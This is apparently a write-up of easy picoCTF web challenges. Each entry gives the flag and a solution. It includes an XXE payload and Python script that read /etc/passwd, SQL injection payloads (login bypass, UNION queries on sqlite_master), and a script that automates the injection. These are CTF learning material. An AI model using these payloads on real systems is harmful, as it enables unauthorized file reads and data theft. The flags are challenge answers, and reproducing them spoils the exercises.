picoCTF WEB (EASY)

All picoCTF web challenge for EASY category.

WebDecode

Description Do you know how to use the web inspector? Start searching here to find the flag

Solution Visiting the URL.

We have 3 endpoints here, /index.html, /about.html and /contact.html.

/about.html 

 <section class="about" notify_true="cGljb0NURnt3ZWJfc3VjYzNzc2Z1bGx5X2QzYzBkZWRfMDJjZGNiNTl9">
   <h1>
   Try inspecting the page!! You might find it there
   </h1>

The above code snippet have something different. For notify_true, it not properly follow the format for html tag.

Decode the value cGljb0NURnt3ZWJfc3VjYzNzc2Z1bGx5X2QzYzBkZWRfMDJjZGNiNTl9 to get the flag.

==picoCTF{web_succ3ssfully_d3c0ded_02cdcb59}==

Unminify

Description I don't like scrolling down to read the code of my website, so I've squished it. As a bonus, my pages load faster! Browse here, and find the flag!

Solution

Reading the source code to reveal the flag.

==picoCTF{pr3tty_c0d3_743d0f9b}==

IntroToBurp

Description Try here to find the flag

Solution Visiting the URL will prompt with registartion form.

Once submitted, it requests 2Fa authentication, which we don't have.

Try to modify some data in burpsuite.

Changing the method to POST to get the flag.

==picoCTF{#0TP_Bypvss_SuCc3$S_2e80f1fd}==

Bookmarklet

Description Why search for the flag when I can make a bookmarklet to print it for me? Browse here, and find the flag!

Solution

        javascript:(function() {
            var encryptedFlag = "àÒÆÞ¦È¬ëÙ£ÖÓÚåÛÑ¢ÕÓÒËÉ§©í";
            var key = "picoctf";
            var decryptedFlag = "";
            for (var i = 0; i < encryptedFlag.length; i++) {
                decryptedFlag += String.fromCharCode((encryptedFlag.charCodeAt(i) - key.charCodeAt(i % key.length) + 256) % 256);
            }
            alert(decryptedFlag);
        })();

Run in the console to get the flag.

==picoCTF{p@g3_turn3r_6bbf8953}==

SOAP

Description The web project was rushed, and no security assessment was done. Can you read the /etc/passwd file?

Solution Visiting the web portal. We have 3 information here. When we click details It will post data.

Open the network to understand how it works in the background. <?xml version="1.0" encoding="UTF-8"?><data><ID>1</ID></data>

It appears the data being sent is using XML format. It might be vulnerable to XXE injection.

Payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE whymer [ <!ENTITY hack SYSTEM "file:///etc/passwd"> ]>
<data><ID>&hack;</ID></data>

//xxe.py
#!/usr/bin/env python3

import requests

url = 'http://saturn.picoctf.net:60680/data'

payload = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE whymer [ <!ENTITY hack SYSTEM "file:///etc/passwd"> ]>
<data><ID>&hack;</ID></data>"""

response = requests.post(url, data=payload)
    
print(f"Status Code: {response.status_code}")
print(f"Response Body:\n{response.text}")

==picoCTF{XML_3xtern@l_3nt1t1ty_55662c16}==

More SQLi

Description Can you find the flag on this website? Try to find the flag here.

Solution With the name of the challenge, SQLi, try to put `"` in password. It return debugging.

username: admin
password: "
SQL query: SELECT id FROM users WHERE password = '"' AND username = 'admin'

Testing payload

'or 1=1;--
Manage to get into welcome.php.

For search input, it will return value city, address and phone. To illustrate it in DB. Select city,address,phone from table;

Payload to test

test' UNION SELECT 1,sqlite_version(),3;-- We got the version 3.31.1.

Enumerate databases test' UNION SELECT name,sql,null from sqlite_master;--

sqlite_master are default for list all database.


City 	Address 	Phone
hints	CREATE TABLE hints (id INTEGER NOT NULL PRIMARY KEY, info TEXT)	
more_table	CREATE TABLE more_table (id INTEGER NOT NULL PRIMARY KEY, flag TEXT)	
offices	CREATE TABLE offices (id INTEGER NOT NULL PRIMARY KEY, city TEXT, address TEXT, phone TEXT)	
sqlite_autoindex_users_1		
users	CREATE TABLE users (name TEXT NOT NULL PRIMARY KEY, password TEXT, id INTEGER)

Final payload

test' UNION SELECT flag,null,null from more_table;--

//sql.py

import requests
import re

# Define the URLs
login_url = "http://saturn.picoctf.net:63089/"
search_url = "http://saturn.picoctf.net:63089/welcome.php"

# Define the payloads for each request
login_payload = {
    "username": "'or 1=1;--",
    "password": "'or 1=1;--"
}

database_payload = {
    "search": "test' UNION SELECT flag,null,null from more_table;--",
    "submit": "Search"
}

table_payload = {
    "search": "test' UNION SELECT flag,null,null from more_table;--",
    "submit": "Search"
}


final_payload = {
    "search": "test' UNION SELECT flag,null,null from more_table;--",
    "submit": "Search"
}

# Define the headers for each request
login_headers = {
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate, br",
    "Content-Type": "application/x-www-form-urlencoded",
    "Content-Length": str(len("username=hello&password=' or 1=1;--")),
    "Origin": "http://saturn.picoctf.net:63089",
    "DNT": "1",
    "Connection": "keep-alive",
    "Referer": "http://saturn.picoctf.net:63089/",
    "Cookie": "PHPSESSID=1k8vv2u9ooa4rj7csnvtmol4tl",
    "Upgrade-Insecure-Requests": "1"
}


print("Sending login request...")
login_response = requests.post(login_url, data=login_payload, headers=login_headers)
print("Login Response Status Code:", login_response.status_code)
print("Login Response Body:", login_response.text)


print("\nSending search request...")
flags = requests.post(search_url, data=final_payload, headers=login_headers)
print("Search Response Status Code:", flags.status_code)
print("Search Response Body:", flags.text)


flag_pattern = re.compile(r'picoCTF{[^}]+}')
match = flag_pattern.search(flags.text)

if match:
    print("Flag found:", match.group())
else:
    print("Flag not found in the response.")

==picoCTF{G3tting_5QL_1nJ3c7I0N_l1k3_y0u_sh0ulD_62aa7500}==

MatchTheRegex

Description How about trying to match a regular expression? The website is running here.

Solution Looking into send_request function.

<script>
	function send_request() {
		let val = document.getElementById("name").value;
		// ^p.....F!?
		fetch(`/flag?input=${val}`)
			.then(res => res.text())
			.then(res => {
				const res_json = JSON.parse(res);
				alert(res_json.flag)
				return false;
			})
		return false;
	}

There was some comment // , and it looked like regex. try to put picoCTF and flag appear.

^p.....F it can be any start p and end with F. pabcdeF

==picoCTF{succ3ssfully_matchtheregex_f89ea585}==

findme

Description Help us test the form by submiting the username as test and password as test! The website running here.

Solution We are given with username and a password as test:test!

 <section id="search-result">
      You searched for <span id="search-term"></span>
      <p>Waiting for server's response... lol</p>
    </section>
    <section>
      <p>I was redirected here by a friend of mine but i couldnt find anything. Help me search for flags :-)</p>

From this, I know that this is about redirection. Need to open burpsuite and intercept the reqeust.

Set the directory to that and got the new alert.

Both directories have a flag. Need to combine it and decode using base 64.

echo "cGljb0NURntwcm94aWVzX2FsbF90aGVfd2F5XzAxZTc0OGRifQ==" | base64 -d picoCTF{proxies_all_the_way_01e748db}

==picoCTF{proxies_all_the_way_01e748db}==

SQLiLite

Description Can you login to this website? Try to login here.

Solution As the challenge mention about SQLi Lite, input with " to see how it works.

username: "
password: "
SQL query: SELECT * FROM users WHERE name='"' AND password='"'

Login failed.

Based on querym it can be bypass using this, 'or 1=1;--

username: 'or 1=1;--
password: 'or 1=1;--
SQL query: SELECT * FROM users WHERE name=''or 1=1;--' AND password=''or 1=1;--'

Logged in! But can you see the flag, it is in plainsight.

Proof that we manage to bypass it. But next challenge, where the flag hide?.

It hide. Use open source or inspect element.

==picoCTF{L00k5_l1k3_y0u_solv3d_it_d3c660ac}==

SQL Direct

Description

Connect to this PostgreSQL server and find the flag! psql -h saturn.picoctf.net -p 64479 -U postgres pico Password is postgres

Solution Given PostgreSQL. To list all databases \d

pico=# \d
         List of relations
 Schema | Name  | Type  |  Owner   
--------+-------+-------+----------
 public | flags | table | postgres
(1 row)

using normal query to get the flag
pico=# select * from flags;
 id | firstname | lastname  |                address                 
----+-----------+-----------+----------------------------------------
  1 | Luke      | Skywalker | picoCTF{L3arN_S0m3_5qL_t0d4Y_73b0678f}
  2 | Leia      | Organa    | Alderaan
  3 | Han       | Solo      | Corellia

==picoCTF{L3arN_S0m3_5qL_t0d4Y_73b0678f}==

Secrets

Description We have several pages hidden. Can you find the one with the flag? The website is running here.

Solution Visit the given URL and inspect the source.

 src="secret/assets/DX1KYM.jpg"
        alt="https://www.alamy.com/security-safety-word-cloud-concept-image-image67649784.html"
        class="responsive"

Visit the src secret/assets/DX1KYM.jpg and try to eliminate until we get this directory/secret .

Some interesting code in /secret/hidden

<input type="hidden" name="db" value="superhidden/xdfgwd.html" />

Final Directory secret/hidden/superhidden/

==picoCTF{succ3ss_@h3n1c@10n_790d2615}==

Search source

Description The developer of this website mistakenly left an important artifact in the website source, can you find it? The website is here

Solution Visit the URL give use this landing page.

Since the description mentions about source. Let's inspect it.

<!-- six_box end six_box The flag is not here but keep digging :)-- >

Unfortunately, there are to much to inspect. Use httrack to clone the site. Then grep word picoCTF{}

==picoCTF{1nsp3ti0n_0f_w3bpag3s_ec95fa49}==

Last updated 2 months ago